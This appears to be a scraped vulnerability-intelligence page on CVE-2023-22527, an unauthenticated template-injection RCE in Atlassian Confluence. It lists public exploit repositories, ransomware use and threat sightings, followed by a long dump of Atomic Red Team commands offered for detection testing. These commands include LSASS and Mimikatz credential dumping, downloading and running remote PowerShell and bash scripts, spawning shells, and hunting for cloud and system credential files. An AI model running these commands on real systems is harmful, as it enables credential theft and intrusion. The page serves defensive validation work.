CVE-2023-22527
Overview
This vulnerability is a server-side template injection affecting Atlassian Confluence Data Center and Server. The root cause lies in improper input validation within the template rendering engine, specifically in the handling of user-supplied data in the text-inline.vm template. This allows untrusted input to be interpreted as executable code within the templating context, compromising the template processing component.
Vulnerability Description
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action. Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassian’s January Security Bulletin.
Impact
An attacker without any authentication or user interaction can execute arbitrary system commands on the affected Confluence server, resulting in full compromise of the application and underlying host. This includes the ability to access sensitive data, manipulate or disrupt Confluence services, and potentially move laterally within the network. The vulnerability enables complete takeover of Atlassian Confluence installations running vulnerable versions, leading to severe operational and data security consequences.
Solution
Atlassian recommends immediate upgrade to the latest supported versions of Confluence Data Center and Server where this vulnerability has been mitigated through regular version updates. Detailed patch instructions and version guidance are available in Atlassian’s official security advisory at https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615. Customers should apply these updates promptly to remediate the issue and protect against related vulnerabilities.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Atlassian | Confluence Data Center | All |
cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
|
|
|
Atlassian | Confluence Data Center | 8.7.0 |
cpe:2.3:a:atlassian:confluence_data_center:8.7.0:*:*:*:*:*:*:*
|
|
|
Atlassian | Confluence Server | All |
cpe:2.3:a:atlassian:confluence_server:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Atlassian Confluence SSTI Injection
exploits/multi/http/atlassian_confluence_rce_cve_2023_22527
|
Rahul Maini, Harsh Jaiswal, Spencer McIntyre | Unknown | unix, linux | View |
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Atlassian Confluence < 8.5.3 - Remote Code Execution (RCE) | MaanVader | webapps | multiple | - | View |
GitHub PoCs (25)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Boogipop/CVE-2023-22527-Godzilla-MEMSHELL
CVE-2023-22527 内存马注入工具
|
Boogipop | 75 | 10 | 2024-02-11 | View |
|
M0untainShley/CVE-2023-22527-MEMSHELL
confluence CVE-2023-22527 漏洞利用工具,支持冰蝎/哥斯拉内存马注入,支持设置 http 代理
|
M0untainShley | 40 | 3 | 2024-02-26 | View |
|
Avento/CVE-2023-22527_Confluence_RCE
CVE-2023-22527 - RCE (Remote Code Execution) Vulnerability In Confluence Data Center and Confluence Server PoC
|
Avento | 26 | 5 | 2024-01-16 | View |
|
Manh130902/CVE-2023-22527-POC
A critical severity Remote Code Execution (RCE) vulnerability (CVE-2023-22527) was discovered in Confluence Server and D...
|
Manh130902 | 22 | 3 | 2024-01-23 | View |
|
VNCERT-CC/CVE-2023-22527-confluence
[Confluence] CVE-2023-22527 realworld poc
|
VNCERT-CC | 18 | 6 | 2024-01-23 | View |
|
Vozec/CVE-2023-22527
This repository presents a proof-of-concept of CVE-2023-22527
|
Vozec | 14 | 1 | 2024-01-23 | View |
|
RevoltSecurities/CVE-2023-22527
An Exploitation tool to exploit the confluence server that are vulnerable to CVE-2023-22527 leads to RCE
|
RevoltSecurities | 10 | 4 | 2024-01-23 | View |
|
Chocapikk/CVE-2023-22527
Atlassian Confluence - Remote Code Execution
|
Chocapikk | 9 | 0 | 2024-01-23 | View |
|
vulncheck-oss/cve-2023-22527
Three go-exploits exploiting CVE-2023-22527 to execute arbitrary code in memory
|
vulncheck-oss | 6 | 3 | 2024-03-04 | View |
|
BBD-YZZ/Confluence-RCE
confluence rce (CVE-2021-26084, CVE-2022-26134, CVE-2023-22527)
|
BBD-YZZ | 5 | 1 | 2024-05-29 | View |
|
mindcodings/CVE-2023-22527
CVE-2023-22527 - RCE (Remote Code Execution) Vulnerability In Confluence Data Center and Confluence Server PoC
|
mindcodings | 5 | 0 | 2024-01-25 | View |
|
adminlove520/CVE-2023-22527
CVE-2023-22527 - RCE (Remote Code Execution) Vulnerability In Confluence Data Center and Confluence Server PoC
|
adminlove520 | 5 | 0 | 2024-01-25 | View |
|
C1ph3rX13/CVE-2023-22527
Atlassian Confluence - Remote Code Execution (CVE-2023-22527)
|
C1ph3rX13 | 4 | 1 | 2024-01-23 | View |
|
yoryio/CVE-2023-22527
Exploit for CVE-2023-22527 - Atlassian Confluence Data Center and Server
|
yoryio | 4 | 1 | 2024-01-24 | View |
|
Sudistark/patch-diff-CVE-2023-22527
|
Sudistark | 3 | 2 | 2024-01-16 | View |
|
ga0we1/CVE-2023-22527_Confluence_RCE
CVE-2023-22527 - RCE (Remote Code Execution) Vulnerability In Confluence Data Center and Confluence Server PoC
|
ga0we1 | 1 | 4 | 2024-01-17 | View |
|
Privia-Security/CVE-2023-22527
CVE-2023-22527
|
Privia-Security | 5 | 0 | 2024-01-24 | View |
|
thanhlam-attt/CVE-2023-22527
|
thanhlam-attt | 5 | 0 | 2024-01-22 | View |
|
MaanVader/CVE-2023-22527-POC
Atlassian Confluence Remote Code Execution(RCE) Proof Of Concept
|
MaanVader | 2 | 1 | 2024-01-25 | View |
|
Drun1baby/CVE-2023-22527
|
Drun1baby | 2 | 0 | 2024-01-22 | View |
|
Niuwoo/CVE-2023-22527
POC
|
Niuwoo | 2 | 0 | 2024-01-23 | View |
|
kh4sh3i/CVE-2023-22527
CVE-2023-22527 | RCE using SSTI in Confluence
|
kh4sh3i | 1 | 0 | 2024-10-06 | View |
|
mylo-2001/AtlassianPwn
Fully automated Confluence RCE exploit (CVE-2023-22527 + OGNL injection) 100% from scratch • Python • 2025
|
mylo-2001 | 1 | 0 | 2025-11-21 | View |
|
YongYe-Security/CVE-2023-22527
CVE-2023-22527 Batch scanning
|
YongYe-Security | 0 | 1 | 2024-02-02 | View |
|
thompson005/CVE-2023-22527
|
thompson005 | 0 | 0 | 2025-05-29 | View |
Ransomware Groups 6
Threat Feed
47 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (667 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Mimikatz, PingCastle, SoftPerfect NetScan (667 known victims)
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability (30 known victims)
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1658 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1658 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 929 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (50)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social bsky.app @o2cloud.bsky.social 2026-10-06 13:10 UTC🔗 CVE : CVE-2019-13990, CVE-2022-1471, CVE-2022-23521, CVE-2022-41903, CVE-2023-22518, CVE-2023-22522, CVE-2023-22523, CVE-2023-22524, CVE-2023-22527, CVE-2023-46604, CVE-2026-21589Open source
-
code github.com mylo-2001 2025-11-21 11:27 UTCmylo-2001/AtlassianPwnOpen source
-
social bsky.app @undercode.bsky.social 2025-11-09 06:51 UTCOperation MidnightEclipse: Dissecting the Confluence Exploit and Fortifying Your Enterprise Introduction: A critical zero-day vulnerability, dubbed CVE-2023-22527, has been actively exploited in the wild, targeting Atlassian Confluence Dat…Open source
-
news thehackernews.com 2025-07-17 07:00 UTCHackers Exploit Apache HTTP Server Flaw to Deploy Linuxsys Cryptocurrency Miner - The Hacker NewsOpen source
-
social bsky.app @malmoeb.bsky.social 2025-07-16 15:21 UTCWhat I learnt today: When NetScan is executed with the ‘Check for write access’ option enabled, a ‘delete[.]me’ file is created then deleted on discovered shares.[1] Thanks, TheDFIRReport - this is exactly what we are seeing in a recent ca…Open source
-
social bsky.app @thedfirreport.bsky.social 2025-06-10 12:06 UTCHaven't read the report yet? ➡️ thedfirreport.com/2025/05/19/a...Open source
-
code github.com thompson005 2025-05-29 09:37 UTCthompson005/CVE-2023-22527Open source
-
